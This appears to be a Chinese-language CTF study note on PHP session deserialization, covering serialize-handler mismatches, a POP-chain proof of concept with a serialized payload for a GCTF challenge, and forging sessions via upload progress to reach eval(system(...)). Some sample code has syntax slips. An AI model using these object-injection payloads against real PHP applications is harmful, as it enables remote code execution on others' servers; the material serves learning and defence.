反序列化session利用总结


漏洞原理

参考;https://www.jb51.net/article/116246.htm

https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#PHP%E7%9A%84session%E6%9C%BA%E5%88%B6

session的基本用法

当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie), 如果请求中不包含会话 ID 信息,PHP 就会创建一个新的会话。 会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中。 当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。

在学习 session 反序列化之前,需要了解这几个参数的含义。

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法

三种session引擎(进行反序列化)

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 
//举例说明
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);
 
php_serialize 引擎下,session文件中存储的数据为:
a:1:{s:4:"name";s:6:"spoock";}

php 引擎下,session文件中存储的数据为:
name|s:6:"spoock";

php_binary 引擎下,session文件中存储的数据为:
names:6:"spoock";

如果文件如下
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
?>

在另一个页面有如下代码
<?php
class A {
  public $a = 'aa';
  function __wakeup() {
    echo $this->a;
  }
var_dump($_SESSION);
?>

此时是利用php引擎(默认的引擎)去读取该反序列话引擎存储的数据时,就会发生
session["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }

//可以发现|之前的都被当成了键名,之后的作为对象被反序列化

实例一:ctfshow 263

直接查看ctfshow 反序列化专题

实例二:GCTF上的一道session反序列化漏洞分析:

 //query.php 部分代码
 session_start();
 header('Look me: edit by vim ~0~')
 //……
 class TOPA{
   public $token;
   public $ticket;
   public $username;
   public $password;
   function login(){
     //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
     $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
       return 'key is:{'.$this->token.'}';
     }
   }
 }
 class TOPB{
   public $obj;
   public $attr;
   function __construct(){
     $this->attr = null;
     $this->obj = null;
   }
   function __toString(){
     $this->obj = unserialize($this->attr);
     $this->obj->token = $FLAG;
     if($this->obj->token === $this->obj->ticket){
       return (string)$this->obj;
     }
   }
 }
 class TOPC{
   public $obj;
   public $attr;
   function __wakeup(){
     $this->attr = null;
     $this->obj = null;
   }
   function __destruct(){
     echo $this->attr;
   }
 }
 

POC

$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;

分析:

构造一个TOPC,在析构的时候则会调用echo $this->attr;
将attr赋值为TOPB对象,在echo TOPB的时候会自动调用__tostring魔术方法
在__tostring中会调用unserialize($this->attr),因为后面用到token和ticket,
所以显然是TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,
所以在序列化的时候进行指针引用使$a->ticket = &$a->token;,即可绕过判断。
(string)$this->obj会输出flag 

payload

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

3.伪造session

原理:

当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。

例题:

可以看到题目环境中的 session.serialize_handler 默认为 php_serialize 处理器,而程序使用的却是 php 处理器,而且开头 第4行 使用了 session_start() 函数,那么我们就可以利用 session.upload_progress.enabled 来伪造 session ,然后在 PHP 反序列化 session 文件时,还原 OowoO 类,最终执行 eval 函数。

构造payload

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO{
    public $mdzz;
    function __construct(){
        $this->mdzz = 'echo system("pwd");';
    }

    function __destruct(){
        eval($this->mdzz);
    }
}
$_SESSION['payload'] = new OowoO();
// 生成session文件内容为:
// payload|O:5:"OowoO":1:{s:4:"mdzz";s:19:"echo system("pwd");";}
?>

抓包
把POST的name值改为同名值

" value="123" />

那么怎么session的键名有了(与POST的变量),键值从哪里读取呢

可见只要把filename改成我们的payload即可

还有一些值得看的文章没看完

https://www.freebuf.com/vuls/202819.html

https://blog.csdn.net/Zero_Adam/article/details/116310107